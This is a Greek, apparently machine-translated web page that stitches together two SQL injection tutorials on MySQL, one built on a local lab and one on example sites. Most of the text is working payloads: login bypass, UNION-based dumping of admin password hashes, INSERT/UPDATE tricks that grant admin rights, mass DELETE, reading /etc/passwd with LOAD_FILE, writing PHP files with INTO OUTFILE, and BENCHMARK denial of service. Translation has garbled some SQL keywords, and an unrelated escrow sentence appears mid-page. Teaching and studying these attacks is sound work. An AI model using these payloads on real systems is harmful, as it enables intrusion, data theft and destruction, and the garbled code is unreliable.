Τα σχόλια στη MySQL μπορούν να καθοριστούν με τρεις τρόπους:

# (hash - λειτουργεί μέχρι το τέλος της γραμμής)

(δύο παύλες - εργαστείτε μέχρι το τέλος της γραμμής, χρειάζεστε έναν χαρακτήρα διαστήματος μετά από δύο παύλες)

/* αυτό είναι ένα σχόλιο */ μια ομάδα τεσσάρων χαρακτήρων - τα πάντα μέσα είναι ένα σχόλιο, οτιδήποτε πριν ή μετά από αυτήν την ομάδα χαρακτήρων δεν θεωρείται σχόλιο.

Ας βάλουμε ένα σχόλιο στο ερώτημά μας με ένα παράθεμα, μετά από αυτό το απόσπασμα βάζουμε ένα σύμβολο σχολίου για να απορρίψουμε την ουρά και ένα σύμβολο +, που υποδηλώνει ένα κενό, έτσι ώστε το ερώτημα να βγει ως εξής:

SELECT * FROM `members` WHERE name = "Demo" --+ "AND password = "111"

Γραμμή διεύθυνσης:

http://localhost/test/mysql-inj-lab1/index.php?name=Demo'—+&password=111

Όχι μόνο εξαφανίστηκε το σφάλμα, αλλά εμφανίστηκαν τα σωστά δεδομένα για τον χρήστη επίδειξης. Από τώρα το αίτημά μας έχει λάβει τη μορφή

SELECT * FROM `members` WHERE name = "Demo"

άλλωστε η αλογοουρά —+ 'AND password ='111'μετατράπηκε σε σχόλιο και δεν επηρεάζει πλέον το αίτημα.

Ρίξτε μια άλλη ματιά στο νέο αίτημα:

SELECT * FROM `members` WHERE name = "Demo"

Και δεν ελέγχει πλέον τον κωδικό πρόσβασης! Εκείνοι. Γνωρίζοντας τα ονόματα των νόμιμων χρηστών, αλλά μη γνωρίζοντας τους κωδικούς πρόσβασής τους, μπορούμε να προβάλουμε τα προσωπικά τους δεδομένα. Εκείνοι. Έχουμε ήδη ξεκινήσει την εκμετάλλευση του SQL injection.

Δυστυχώς, δεν γνωρίζω κανένα νόμιμο όνομα και πρέπει να βρω κάτι άλλο.

Ας ρίξουμε μια πιο προσεκτική ματιά σε αυτό το μέρος του αιτήματος:

WHERE name = "Demo"

Θυμάστε το ΚΑΙ που χρησιμοποιείται στο πρώτο ερώτημα; Αντιπροσωπεύει λογική ΚΑΙ λειτουργία. Να σου θυμίσω, λογικές πράξειςΤο "AND" αξιολογείται ως "true" (1) μόνο εάν και οι δύο εκφράσεις είναι αληθείς. Αλλά λογικός τελεστήςΤο "OR" επιστρέφει "true" (1) ακόμη και αν τουλάχιστον μία από τις εκφράσεις είναι αληθής. Εκείνοι. έκφραση

WHERE όνομα = "Demo" Ή 1

θα είναι πάντα true θα επιστρέφει πάντα 1. Επειδή μία από τις δύο παραστάσεις που συγκρίνονται θα επιστρέφει πάντα 1.

Εκείνοι. πρέπει να δημιουργήσουμε μια έκφραση που μοιάζει με αυτό:

ΕΠΙΛΕΞΤΕ * ΑΠΟ «μέλη» ΠΟΥ όνομα = "Demo" Ή 1

Γραμμή διεύθυνσης:

http://localhost/test/mysql-inj-lab1/index.php?name=Demo' Ή 1 —+ &password=111

Αποτέλεσμα:

Το αποτέλεσμα είναι εξαιρετικό! Λάβαμε μια λίστα με όλες τις εγγραφές στον πίνακα.

Οι ORDER BY και UNION είναι οι κύριοι φίλοι των SQL injections

Έχουμε ήδη λάβει δεδομένα που δεν ήταν προσβάσιμα σε όσους δεν είχαν έγκυρο όνομα χρήστη και κωδικό πρόσβασης. Υπάρχει κάτι άλλο που μπορώ να πάρω; Ναι, μπορείτε να λάβετε μια πλήρη ένδειξη αυτού του πίνακα (να σας υπενθυμίσω, δεν έχουμε ακόμα κωδικούς πρόσβασης. Επιπλέον, μπορούμε να λάβουμε όλα τα δεδομένα από όλες τις βάσεις δεδομένων σε αυτόν τον διακομιστή μέσω μιας μικροσκοπικής τρύπας!

Το UNION σάς επιτρέπει να συνδυάζετε ερωτήματα SQL. ΣΕ πραγματική ζωήΟι εργασίες μου είναι απλές, επομένως δεν χρησιμοποιώ απλά ερωτήματα σε βάσεις δεδομένων και δυνατότητες UNION. Αλλά για τις ενέσεις SQL δεν υπάρχει πιο πολύτιμη λέξη από αυτή.

Το UNION σάς επιτρέπει να συνδυάζετε αρκετά ευέλικτα τα ερωτήματα SQL με το SELECT, μεταξύ άλλων από διαφορετικές βάσεις δεδομένων. Υπάρχει όμως μια σημαντική απαίτηση σύνταξης: ο αριθμός των στηλών στο πρώτο SELECT πρέπει να είναι ίσος με τον αριθμό των στηλών στο δεύτερο SELECT.

ORDER BY καθορίζει την ταξινόμηση των δεδομένων που λαμβάνονται από τον πίνακα. Μπορείτε να ταξινομήσετε με βάση το όνομα της στήλης ή τον αριθμό της. Επιπλέον, εάν δεν υπάρχει στήλη με αυτόν τον αριθμό, τότε θα εμφανιστεί ένα σφάλμα:

Γραμμή διεύθυνσης:

http://localhost/test/mysql-inj-lab1/index.php?name=-1′ ΠΑΡΑΓΓΕΛΙΑ ΑΠΟ 1 —+ &password=111

Το αίτημα μοιάζει με αυτό:

SELECT * FROM `members` WHERE name = "-1" ORDER BY 1

Αντικαταστήσαμε το όνομα χρήστη με -1 για να μην εμφανίζονται δεδομένα.

Δεν υπάρχει σφάλμα, δεν υπάρχει επίσης σφάλμα με αιτήματα

SELECT * FROM `members` WHERE name = "-1" ORDER BY 2 SELECT * FROM `members` WHERE name = "-1" ORDER BY 3 SELECT * FROM `members` WHERE name = "-1" ORDER BY 4 SELECT * ΑΠΟ "μέλη" ΟΠΟΥ όνομα = "-1" ΠΑΡΑΓΓΕΛΙΑ ΑΠΟ 5

Και εδώ είναι το αίτημα

SELECT * FROM `members` WHERE name = "-1" ORDER BY 6

αντιστοιχεί στη συμβολοσειρά διεύθυνσης

http://localhost/test/mysql-inj-lab1/index.php?name=-1′ ΠΑΡΑΓΓΕΛΙΑ ΑΠΟ 6 —+ &password=111

Έδωσε ένα σφάλμα

Σφάλμα: Άγνωστη στήλη "6" στην "ρήτρα παραγγελίας"

Αυτό σημαίνει ότι τα δεδομένα επιλέγονται από τον πίνακα σε πέντε στήλες.

Κατασκευάζουμε το ερώτημά μας με το UNION:

Όπως είπα, ο αριθμός των πεδίων θα πρέπει να είναι ίδιος και στα δύο SELECT, αλλά το τι υπάρχει σε αυτά τα πεδία δεν είναι πολύ σημαντικό. Μπορείτε, για παράδειγμα, απλώς να εισάγετε αριθμούς - και αυτοί είναι αυτοί που θα εμφανιστούν. Μπορείτε να εισαγάγετε NULL - τότε δεν θα εμφανιστεί τίποτα αντί για το πεδίο.

SELECT * FROM `members` WHERE name = "-1" UNION SELECT 1,2,3,4,5

Γραμμή διεύθυνσης:

http://localhost/test/mysql-inj-lab1/index.php?name=-1′ UNION SELECT 1,2,3,4,5 —+ &password=111

Ένας άλλος τρόπος για να βρείτε τον αριθμό των στηλών είναι να χρησιμοποιήσετε το ίδιο UNION. Χρησιμοποιώντας μια σκάλα προσθέτουμε τον αριθμό των στηλών:

SELECT * FROM `members` WHERE name = "-1" UNION SELECT 1 SELECT * FROM `members` WHERE name = "-1" UNION SELECT 1,2 SELECT * FROM `members` WHERE name = "-1" UNION SELECT 1 ,2,3 SELECT * FROM `members` WHERE name = "-1" UNION SELECT 1,2,3,4

Όλα θα παράγουν το ίδιο σφάλμα:

Σφάλμα: Οι δηλώσεις SELECT που χρησιμοποιούνται έχουν διαφορετικό αριθμό στηλών

Κάντε αυτό μέχρι να εξαφανιστεί το μήνυμα σφάλματος.

Λάβετε υπόψη ότι τα περιεχόμενα ορισμένων πεδίων UNION SELECT 1,2,3,4,5 εμφανίζονται στην οθόνη. Αντί για αριθμούς, μπορείτε να καθορίσετε συναρτήσεις.

Τι να γράψετε στο SELECT

Υπάρχουν ορισμένες συναρτήσεις που μπορούν να γραφτούν απευθείας στο UNION:

  • ΒΑΣΗ ΔΕΔΟΜΕΝΩΝ()— εμφάνιση του ονόματος της τρέχουσας βάσης δεδομένων
  • ΤΡΕΧΩΝ ΧΡΗΣΤΗΣ()- εμφανίζει όνομα χρήστη και όνομα κεντρικού υπολογιστή
  • @@datadir- οθόνες απόλυτη διαδρομήστη βάση δεδομένων
  • ΧΡΗΣΤΗΣ()- Όνομα χρήστη
  • ΕΚΔΟΧΗ()— έκδοση βάσης δεδομένων

Στο παράδειγμά μας, εμφανίζονται τα πεδία 2, 4 και 5, π.χ. μπορούμε να χρησιμοποιήσουμε οποιοδήποτε από αυτά τα πεδία.

Χρήση ΒΑΣΗΣ ΔΕΔΟΜΕΝΩΝ() στο UNION SELECT

http://localhost/test/mysql-inj-lab1/index.php?name=-1′ UNION SELECT 1,2,3,4,DATABASE() —+ &password=111

Αποτέλεσμα:

Χρήση CURRENT_USER() στο UNION SELECT

http://localhost/test/mysql-inj-lab1/index.php?name=-1′ UNION SELECT 1,2,3,4,CURRENT_USER() —+ &password=111

Αποτέλεσμα:

Χρήση @@datadir στο UNION SELECT

http://localhost/test/mysql-inj-lab1/index.php?name=-1′ UNION SELECT 1,2,3,4,@@datadir —+ &password=111

Αποτέλεσμα:

Λήψη ονομάτων πινάκων, πεδίων και αποτύπωσης βάσεων δεδομένων

Στη βάση δεδομένων information_schemaυπάρχει ένας πίνακας που ονομάζεται τραπέζια. Αυτός ο πίνακας περιέχει μια λίστα με όλους τους πίνακες που υπάρχουν σε όλες τις βάσεις δεδομένων σε αυτόν τον διακομιστή. Μπορούμε να επιλέξουμε τους πίνακες μας κάνοντας αναζήτηση στο πεδίο table_schemaΤο όνομα της βάσης δεδομένων μας είναι «db_library» (το βρήκαμε χρησιμοποιώντας το DATABASE()).

Αυτό ονομάζεται πλήρης τεχνική UNION. Υπάρχει άφθονο υλικό για αυτό στο Διαδίκτυο. Στο δικό μου Διακομιστής MySQLΗ τεχνική full UNION δεν λειτουργεί. Λαμβάνω ένα σφάλμα

Σφάλμα: Παράνομος συνδυασμός συλλογισμών για τη λειτουργία "UNION"

Δεν λειτουργεί λόγω της καμπυλότητας των βραχιόνων, επειδή αυτή η τεχνική δεν φέρνει επίσης αποτελέσματα για το sqlmap:

Κάτι πήγε στραβά με την τεχνική full UNION (μπορεί να οφείλεται στον περιορισμό στον ανακτηθέντα αριθμό καταχωρίσεων). Επιστροφή στην τεχνική μερικής ΕΝΩΣΗΣ

Αυτό μπορεί να οφείλεται στην έκδοση 5.6 της MySQL. Επειδή να φερεις πρακτικά παραδείγματαΔεν μπορώ και δεν με ενδιαφέρει να ξαναγράψω τις κατεστραμμένες εντολές άλλων ανθρώπων - τώρα, ακόμη και χωρίς εμένα, υπάρχουν πολλοί «μεγάλοι θεωρητικοί» στο Διαδίκτυο, αποφάσισα να προχωρήσω αμέσως στην εξέταση της τεχνικής μερικής ΕΝΩΣΗΣ. Αλλά αυτή δεν είναι η απλούστερη τεχνική και το άρθρο είναι ήδη αρκετά μεγάλο.

ΥΣΤΕΡΟΓΡΑΦΟ. ω ναι, ξέχασα το LIMIT. Την επόμενη φορά θα μιλήσω επίσης για τον ρόλο του LIMIT στις ενέσεις SQL.

Ο Εγγυητής είναι ένας αξιόπιστος διαμεσολαβητής μεταξύ των Συμμετεχόντων κατά τη διάρκεια της συναλλαγής.


Η απροσεξία και η απροσεξία είναι δύο λόγοι για τη σύνταξη κώδικα που είναι ευάλωτος σε ενέσεις SQL. Ο τρίτος λόγος - η άγνοια, θα πρέπει να ενθαρρύνει τον προγραμματιστή να εμβαθύνει τις γνώσεις του ή ακόμα και να αλλάξει επάγγελμα.

Έγχυση SQL ( SQL injection) - ευπάθεια που προκύπτει λόγω ανεπαρκούς επαλήθευσης και επεξεργασίας δεδομένων, τα οποία μεταδίδονται από τον χρήστη και σας επιτρέπει να τροποποιείτε και να εκτελείτε ερωτήματα μη αναμενόμενα από τον κώδικα του προγράμματος SQL.

Η έγχυση SQL είναι ένα ευρέως διαδεδομένο ελάττωμα ασφαλείας στο Διαδίκτυο που μπορεί εύκολα να χρησιμοποιηθεί χωρίς ειδικά προγράμματακαι δεν απαιτεί βαθιές τεχνικές γνώσεις. Η εκμετάλλευση αυτής της ευπάθειας ανοίγει την πόρτα σε μεγάλες ευκαιρίες όπως:

  • κλοπή δεδομένων - 80%
  • άρνηση υπηρεσίας - 10 τοις εκατό.
  • αντικατάσταση ή καταστροφή δεδομένων - 2-3%.
  • άλλες περιπτώσεις και προθέσεις.

Υπάρχουν επίσης διάφορα προγράμματαδοκιμή ασφάλειας του ιστότοπου για όλα τα είδη εγχύσεων JS και SQL.

Λεπτομερής εξήγηση

Σε αυτό το άρθρο θα προσπαθήσω να εξηγήσω τους κύριους κινδύνους που προκύπτουν κατά την αλληλεπίδραση μεταξύ και της βάσης Δεδομένα MySQL. Για λόγους σαφήνειας, θα δώσω ένα παράδειγμα μιας απλής δομής βάσης δεδομένων, η οποία είναι τυπική για τα περισσότερα έργα:

ΔΗΜΙΟΥΡΓΙΑ ΒΑΣΗΣ ΔΕΔΟΜΕΝΩΝ `ειδήσεις`. ΧΡΗΣΗ «ειδήσεων»; # # πίνακας ειδήσεων # CREATE TABLE `news` (`id` int(11) NOT NULL auto_increment, `title` varchar(50) default NULL, `date` datetime default NULL, text` PRIMARY KEY (`id` )) TYPE=MyISAM; # # add some data # INSERT `news` SET `id`="1", `title`="first news", `date`="2005-06-25 16:50:20", `text`=" κείμενο ειδήσεων"; INSERT `news` SET `id`="2", `title`="second news", `date`="2005-06-24 12:12:33", `text`="test news"; # # πίνακας χρηστών # CREATE TABLE `users` (`id` int(11) NOT NULL auto_increment, `login` varchar(50) default NULL, `password` varchar(50) default NULL, `admin` int(1) NULL ΠΡΟΕΠΙΛΟΓΗ "0", ΚΥΡΙΟ ΚΛΕΙΔΙ (`id`)) TYPE=MyISAM; # # προσθέστε πολλούς χρήστες, ο ένας με δικαιώματα διαχειριστή, ο άλλος απλός # INSERT `users` SET `id`="1", `login`="admin", `password`="qwerty", `admin`="1 " ; INSERT `users` SET `id`="2", `login`="user", `password`="1111", `admin`="0";

Βλέπουμε ότι το αίτημα δημιουργείται ανάλογα με την τιμή του $_GET["id"]. Για να ελέγξετε για μια ευπάθεια, αρκεί να την αλλάξετε σε μια τιμή που μπορεί να προκαλέσει σφάλμα κατά την εκτέλεση του ερωτήματος SQL.

Φυσικά, μπορεί να μην υπάρχει έξοδος σφάλματος, αλλά αυτό δεν σημαίνει ότι δεν υπάρχει σφάλμα, ως αποτέλεσμα

"Έχετε ένα σφάλμα στη σύνταξη SQL. ελέγξτε το εγχειρίδιο που αντιστοιχεί στην έκδοση του διακομιστή MySQL για τη σωστή σύνταξη που θα χρησιμοποιήσετε κοντά στο """ στη γραμμή 1"

ή αποτέλεσμα

http://test.com/index.php?id=2-1

εάν υπάρχει μια ευπάθεια, θα πρέπει να παράγει ένα αποτέλεσμα παρόμοιο με

http://test.com/index.php?id=1.

Παρόμοια τρωτά σημεία σας επιτρέπει να τροποποιήσετε το αίτημαστο τμήμα παραμέτρου WHERE. Το πρώτο πράγμα που θα κάνει ένας εισβολέας όταν ανακαλυφθεί μια τέτοια ευπάθεια είναι να εξετάσει πόσα πεδία χρησιμοποιούνται στο αίτημα. Για να γίνει αυτό, ένα εσκεμμένα λανθασμένο αναγνωριστικό ορίζεται για να αποκλείει την έξοδο πραγματικών πληροφοριών και συνδυάζεται με ένα αίτημα με τον ίδιο αριθμό κενών πεδίων.

http://test.com/index.php?id=-1+UNION+SELECT+null,null,null,null

Ο αριθμός των "μηδενικών" πρέπει να αντιστοιχεί στον αριθμό των πεδίων που χρησιμοποιούνται στην αίτηση.

Εάν το ερώτημα εμφανίσει σφάλμα, προστίθεται μια άλλη κενή τιμή μέχρι να εξαφανιστεί το σφάλμα και να επιστραφεί ένα αποτέλεσμα με κενά δεδομένα. Στη συνέχεια, τα συνδυασμένα πεδία αντικαθίστανται με τιμές που μπορούν να παρατηρηθούν οπτικά στη σελίδα.

Για παράδειγμα:

http://test.com/index.php?id=-1+UNION+SELECT+null

Τώρα στη σελίδα όπου υποτίθεται ότι θα εμφανιζόταν ο τίτλος των ειδήσεων, θα εμφανιστεί το qwerty.

Πώς να μάθετε τις εκδόσεις MySQL;

http://test.com/index.php?id=-1+UNION+SELECT+null,VERSION(),null,null http://test.com/index.php?id=-1+UNION+SELECT +null,USER(),null,null http://test.com/index.php?id=-1+UNION+SELECT+null,SESSION_USER(),null,null

Πώς να ανακτήσετε τα στοιχεία σύνδεσης του τρέχοντος χρήστη της βάσης δεδομένων;

http://test.com/index.php?id=-1+UNION+SELECT+null,SYSTEM_USER(),null,null

Ποιο είναι το όνομα της βάσης δεδομένων που χρησιμοποιείται;

http://test.com/index.php?id=-1+UNION+SELECT+null,DATABASE(),null,null

Πώς να λάβετε άλλα δεδομένα από άλλους πίνακες;

SELECT * FROM `news` WHERE `id`=-1 UNION SELECT null, `password`, null, null FROM `users` WHERE `id`="1";

Αυτός είναι ένας απλός τρόπος για να μάθετε τον κωδικό πρόσβασης ή τον κατακερματισμό του κωδικού πρόσβασης του διαχειριστή. Εάν ο τρέχων χρήστης έχει δικαιώματα πρόσβασης στη βάση δεδομένων "mysql", ο εισβολέας θα λάβει τον κατακερματισμό του κωδικού πρόσβασης του διαχειριστή χωρίς το παραμικρό πρόβλημα.

Http://test.com/index.php?id=-1+union+select+null,mysql.user.password,null,null+from+mysql.user

Τώρα η επιλογή του είναι απλώς θέμα χρόνου.

Αναζήτηση

Η αναζήτηση είναι ένα από τα πιο ευάλωτα μέρη, καθώς ένας μεγάλος αριθμός παραμέτρων ερωτήματος μεταδίδονται ταυτόχρονα. Ένα παράδειγμα απλού ερωτήματος που πραγματοποιεί αναζήτηση με λέξη-κλειδί:

ΕΠΙΛΕΞΤΕ * ΑΠΟ "Νέα" ΟΠΟΥ "τίτλος" ΑΡΕΣΕΙ "%$search%" Ή "text" LIKE "%$search%"

Η $search είναι η λέξη που αποστέλλεται από τη φόρμα. Ένας εισβολέας μπορεί να περάσει $search="# στη μεταβλητή, τώρα το αίτημα θα μοιάζει με αυτό:

SELECT * FROM `news` WHERE `title` LIKE "%"#%" OR `text` LIKE "%"#%";

Κατά συνέπεια, αντί για τα αποτελέσματα αναζήτησης για τη λέξη-κλειδί, θα εμφανίζονται όλα τα δεδομένα. Αυτό σας επιτρέπει επίσης να χρησιμοποιήσετε τη δυνατότητα συγκέντρωσης ερωτημάτων που περιγράφεται παραπάνω.

Χρησιμοποιώντας την παράμετρο ORDER

Συχνά μπορείτε να δείτε ότι κατά την εισαγωγή παραμέτρων αναζήτησης ή την εμφάνιση πληροφοριών, επιτρέπουν στον χρήστη να ταξινομεί τα δεδομένα κατά ορισμένα πεδία. Θα πω αμέσως ότι η χρήση αυτής της ευπάθειας δεν είναι πολύ επικίνδυνη, καθώς θα προκαλέσει σφάλμα κατά την προσπάθεια συνδυασμού αιτημάτων, αλλά σε συνδυασμό με τρωτά σημεία σε άλλα πεδία, υπάρχει ο κίνδυνος να σχολιαστεί αυτή η παράμετρος.

http://test.com/index.php?sort=name

η παράμετρος ORDER σχηματίζεται ανάλογα με τη μεταβλητή $sort

Θα δημιουργηθεί το ακόλουθο αίτημα:

SELECT * FROM `news` WHERE `title` LIKE "%"/*%" OR `text` LIKE "%"/*%" ORDER BY */

σχολιάζοντας έτσι μια από τις συνθήκες και την παράμετρο ORDER

Τώρα μπορείτε να συνδυάσετε ξανά το ερώτημα εκχωρώντας $sort=*/ UNION SELECT...

Ως επιλογή για την εκμετάλλευση της ευπάθειας αυτής της παραμέτρου:

ΕΠΙΛΟΓΗ * ΑΠΟ "χρήστες" ORDER BY LENGTH(password);

Θα σας επιτρέψει να ταξινομήσετε τους χρήστες ανάλογα με το μήκος του κωδικού πρόσβασης, υπό την προϋπόθεση ότι θα αποθηκευτεί σε "καθαρή" μορφή.

Εξουσιοδότηση

Ας προσπαθήσουμε τώρα να εξετάσουμε τις επιλογές για ενέσεις SQL που εμφανίζονται κατά την εξουσιοδότηση χρήστη. Συνήθως, το αίτημα που ελέγχει την ορθότητα των δεδομένων εξουσιοδότησης μοιάζει με αυτό:

SELECT * FROM `users` WHERE `login`="$login" AND `password`="$password";

όπου $login και $password είναι μεταβλητές που μεταβιβάζονται από τη φόρμα. Ένα τέτοιο ερώτημα επιστρέφει δεδομένα για τον χρήστη εάν είναι επιτυχές και ένα κενό αποτέλεσμα εάν δεν είναι επιτυχές. Αντίστοιχα, για να περάσει η εξουσιοδότηση, ένας εισβολέας χρειάζεται μόνο να τροποποιήσει το αίτημα έτσι ώστε να επιστρέψει ένα μη μηδενικό αποτέλεσμα. Καθορίζεται μια σύνδεση που αντιστοιχεί σε πραγματικό χρήστη και αντί για κωδικό πρόσβασης, " Ή "1"="1" ή κάποια αληθινή συνθήκη (1, "a"="a", 1<>2, 3>2, 1+1, ISNULL(NULL), 2 IN (0,1,2), 2 ΜΕΤΑΞΥ 1 ΚΑΙ 3). Κατά συνέπεια, το αίτημα θα δημιουργηθεί ως εξής:

SELECT * FROM `users` WHERE `login`="admin" AND `password`="" OR "1"="1";

που θα επιστρέψει το αποτέλεσμα, και ως εκ τούτου, θα οδηγήσει σε μη εξουσιοδοτημένη εξουσιοδότηση. Τι γίνεται αν οι κωδικοί πρόσβασης στον πίνακα είναι κατακερματισμένοι; Στη συνέχεια, ο έλεγχος κωδικού πρόσβασης απλώς «απενεργοποιείται» σχολιάζοντας όλα όσα έρχονται μετά τη «σύνδεση». Στη μορφή, αντί για σύνδεση, εκχωρείται μια σύνδεση πραγματικός χρήστηςκαι "# αυτό θα σχολιάσει τον έλεγχο κωδικού πρόσβασης.

SELECT * FROM `users` WHERE `login`="admin"#" AND `password`="12345"

ως επιλογή "OR `id`=2#

SELECT * FROM `users` WHERE `login`="" OR `id`=2#" AND `password`="12345"

SELECT * FROM `users` WHERE `login`="" OR `admin`="1"#" AND `password`="12345"

Ένα μεγάλο λάθος είναι να ελέγξετε τον κωδικό πρόσβασης ως εξής:

SELECT * FROM `users` WHERE `login`="$login" AND `password` LIKE "$password"

αφού σε αυτή την περίπτωση ο κωδικός % είναι κατάλληλος για οποιαδήποτε σύνδεση

ΕΙΣΑΓΩΓΗ & ΕΝΗΜΕΡΩΣΗ

Ωστόσο, δεν είναι μόνο τα SELECT που είναι ένα αδύναμο σημείο στην SQL. Το INSERT και το UPDATE δεν μπορούν να είναι λιγότερο ευάλωτα. Ας υποθέσουμε ότι ο ιστότοπος έχει τη δυνατότητα εγγραφής χρηστών. Ερώτημα που προσθέτει νέο χρήστη:

Μια ευπάθεια σε ένα από τα πεδία επιτρέπει την τροποποίηση του αιτήματος με τα απαραίτητα δεδομένα. Στο πεδίο σύνδεσης προσθέτουμε χρήστη", "κωδικός πρόσβασης", 1)# προσθέτοντας έτσι έναν χρήστη με δικαιώματα διαχειριστή.

INSERT `users` SET `login`="user", `password`="password", `admin`="0";

Ας υποθέσουμε ότι το πεδίο «admin» βρίσκεται πριν από το πεδίο «login», οπότε το κόλπο της αντικατάστασης των δεδομένων που έρχονται μετά το πεδίο «login» δεν λειτουργεί. Ας θυμηθούμε ότι η σύνταξη της εντολής INSERT σας επιτρέπει να προσθέσετε όχι μόνο μία γραμμή, αλλά πολλές. Ένα παράδειγμα ευπάθειας στο πεδίο σύνδεσης: $login= χρήστης", "password"), (1, "hacker", "password")#

INSERT INTO «users» SET («admin», «login», «password») ΤΙΜΕΣ (0, "user", "password"), (1, "hacker", "password")#", "password") ;

Αυτό δημιουργεί 2 εγγραφές, η μία με τα δικαιώματα απλός χρήστης, το άλλο με τα επιθυμητά δικαιώματα διαχειριστή.

Παρόμοια κατάσταση με το UPDATE

Προσθήκη επιπλέον πεδίων για αλλαγή:

$login=", `password`="", `admin`="1

Μετά παρόμοιο αίτημα

ΕΝΗΜΕΡΩΣΗ ΣΕΤ «users» `login`="teapot" WHERE `id`=2;

Τροποποιήθηκε ως εξής:

ΕΝΗΜΕΡΩΣΗ ΣΕΤ «users» `login`="", `password`="", `admin`="1" WHERE `id`=2;

Τι θα συμβεί; Ο χρήστης με ID 2 θα αλλάξει τη σύνδεση και τον κωδικό πρόσβασης σε κενές τιμέςκαι θα λάβει δικαιώματα διαχειριστή. Ή σε περίπτωση

$login=", `password`="" WHERE `id` =1#

Η είσοδος και ο κωδικός πρόσβασης διαχειριστή θα είναι κενά.

ΔΙΑΓΡΑΦΩ

Όλα είναι απλά εδώ, δεν θα μπορείτε να αποκτήσετε ή να αλλάξετε δεδομένα, αλλά είστε πάντα ευπρόσδεκτοι να διαγράψετε περιττά δεδομένα.

$id=1 Ή 1=1

ΔΙΑΓΡΑΦΗ ΑΠΟ "ειδήσεις" ΟΠΟΥ `id`="1" Ή 1=1; // διαγράφει όλες τις καταχωρήσεις στον πίνακα.

Αντί για 1=1 μπορεί να υπάρχει οποιαδήποτε αληθινή συνθήκη που αναφέρεται παραπάνω. Η παράμετρος LIMIT μπορεί να αποθηκευτεί, η οποία θα περιορίσει τον αριθμό των διαγραμμένων γραμμών, αλλά όχι πάντα, μπορεί απλώς να σχολιαστεί.

ΔΙΑΓΡΑΦΗ ΑΠΟ "ειδήσεις" ΟΠΟΥ `id`="1" Ή 1=1# ΟΡΙΟ 1;

Εργασία με αρχεία μέσω SQL injection

Αμφιβάλλω σοβαρά ότι αυτό μπορεί να συμβεί οπουδήποτε, αλλά για να είμαστε δίκαιοι, τέτοιες μέθοδοι πρέπει επίσης να περιγραφούν. Όταν είναι ενεργοποιημένα τα δικαιώματα αρχείου, μπορείτε να χρησιμοποιήσετε τις εντολές LOAD_FILE και OUTFILE.

Η επικινδυνότητά τους μπορεί να κριθεί από τα παρακάτω ερωτήματα:

SELECT * FROM `news` WHERE `id`=-1 union επιλέξτε null,LOAD_FILE("/etc/passwd"),null,null; SELECT * FROM `news` WHERE `id`=-1 UNION SELECT null, LOAD_FILE("/home/test/www/dbconf.php"),null,null;

Αλλά όλα τα προβλήματα δεν τελειώνουν εκεί ακόμα.

SELECT * FROM `news` WHERE `id`=-1 UNION SELECT null,"",null,null FROM `news` στο outfile "/home/test/www/test.php";

Έτσι γράφουμε ένα αρχείο που περιέχει κώδικα PHP. Είναι αλήθεια ότι εκτός από τον κώδικα, θα υπάρχουν πολλές ακόμη μηδενικές εγγραφές σε αυτό, αλλά αυτό σε καμία περίπτωση δεν θα επηρεάσει την απόδοση του κώδικα PHP. Ωστόσο, υπάρχουν αρκετές προϋποθέσεις λόγω των οποίων αυτές οι μέθοδοι θα λειτουργήσουν:

  • Το δικαίωμα FILE είναι ενεργοποιημένο για τον τρέχοντα χρήστη της βάσης δεδομένων.
  • Τα δικαιώματα ανάγνωσης ή εγγραφής αυτών των αρχείων είναι για τον χρήστη κάτω από τον οποίο εκτελείται ο διακομιστής MySQL η απόλυτη διαδρομή προς το αρχείο.
  • πιο λιγο σημαντική προϋπόθεση- το μέγεθος του αρχείου πρέπει να είναι μικρότερο από το max_allowed_packet, αλλά επειδή στη MySQL 3.23 το μέγεθος μεγαλύτερο πακέτομπορεί να είναι 16 MB και σε 4.0.1 και άνω, το μέγεθος του πακέτου περιορίζεται μόνο από την ποσότητα της διαθέσιμης μνήμης, μέχρι το θεωρητικό μέγιστο 2 GB, αυτή η συνθήκη είναι συνήθως πάντα διαθέσιμη.

Μαγικά αποσπάσματα

Τα μαγικά εισαγωγικά το καθιστούν αδύνατο χρησιμοποιώντας SQL injection σε μεταβλητές συμβολοσειράς, αφού διαφεύγει αυτόματα από όλα τα " και " που προέρχονται από $_GET και $_POST. Αλλά αυτό δεν ισχύει για τη χρήση ευπαθειών σε ακέραιες ή κλασματικές παραμέτρους, αν και με την εξαίρεση ότι δεν θα είναι δυνατή η χρήση του ". Σε αυτήν την περίπτωση, η συνάρτηση char βοηθά.

SELECT * FROM `news` WHERE `id`=-1 UNION SELECT null, char(116, 101, 115, 116), null, null;

DOS μέσω SQL injection.

Σχεδόν ξέχασα να πω, και οι ειδικοί της SQL θα επιβεβαιώσουν, ότι η λειτουργία UNION είναι δυνατή μόνο σε MySQL >=4.0.0. Άτομα που έχουν έργα για ΠΡΟΗΓΟΥΜΕΝΕΣ ΕΚΔΟΣΕΙΣ:) Αλλά δεν είναι όλα τόσο ασφαλή όσο φαίνονται με την πρώτη ματιά. Η λογική του επιτιθέμενου μερικές φορές είναι δύσκολο να ακολουθηθεί. "Αν δεν μπορώ να χακάρω, τουλάχιστον θα αποτύχω", θα σκεφτεί ο χάκερ, πληκτρολογώντας τη συνάρτηση BENCHMARK για ένα παράδειγμα αιτήματος

SELECT * FROM `news` WHERE `id`=BENCHMARK(1000000,MD5(NOW()));

Μου πήρε από 12 έως 15 δευτερόλεπτα. Προσθήκη μηδενικού - 174 δευτερόλεπτα. Απλώς δεν μπορούσα να σηκώσω το χέρι μου για να κάνω περισσότερα. Φυσικά, σε ισχυρούς διακομιστές τέτοια πράγματα θα γίνονται πολύ πιο γρήγορα, αλλά το...BENCHMARK σας επιτρέπει να επενδύσετε έναν προς έναν. Σαν αυτό:

SELECT * FROM `news` WHERE `id`=BENCHMARK(1000000,BENCHMARK(1000000,MD5(NOW())));

Ή ακόμα και έτσι

SELECT * FROM `news` WHERE `id`=BENCHMARK(1000000,BENCHMARK(1000000,BENCHMARK(1000000,MD5(NOW()))));

Και ο αριθμός των μηδενικών περιορίζεται μόνο από την «καλοσύνη» αυτού που τα πληκτρολογεί.

Νομίζω ότι ακόμα και ΠΟΛΥ ισχυρό αυτοκίνητο, δεν θα μπορεί να καταπιεί εύκολα τέτοια αιτήματα.

Συμπέρασμα

Αυτό είναι όλο. Σε αυτό το άρθρο, προσπάθησα να καλύψω όσο το δυνατόν περισσότερο τους τύπους τρωτών σημείων που δημιουργούν οι προγραμματιστές όταν δημιουργούν προγράμματα χρησιμοποιώντας βάσεις δεδομένων MySQL. Ωστόσο, είμαι περισσότερο από σίγουρος ότι αυτή δεν είναι μια πλήρης λίστα.

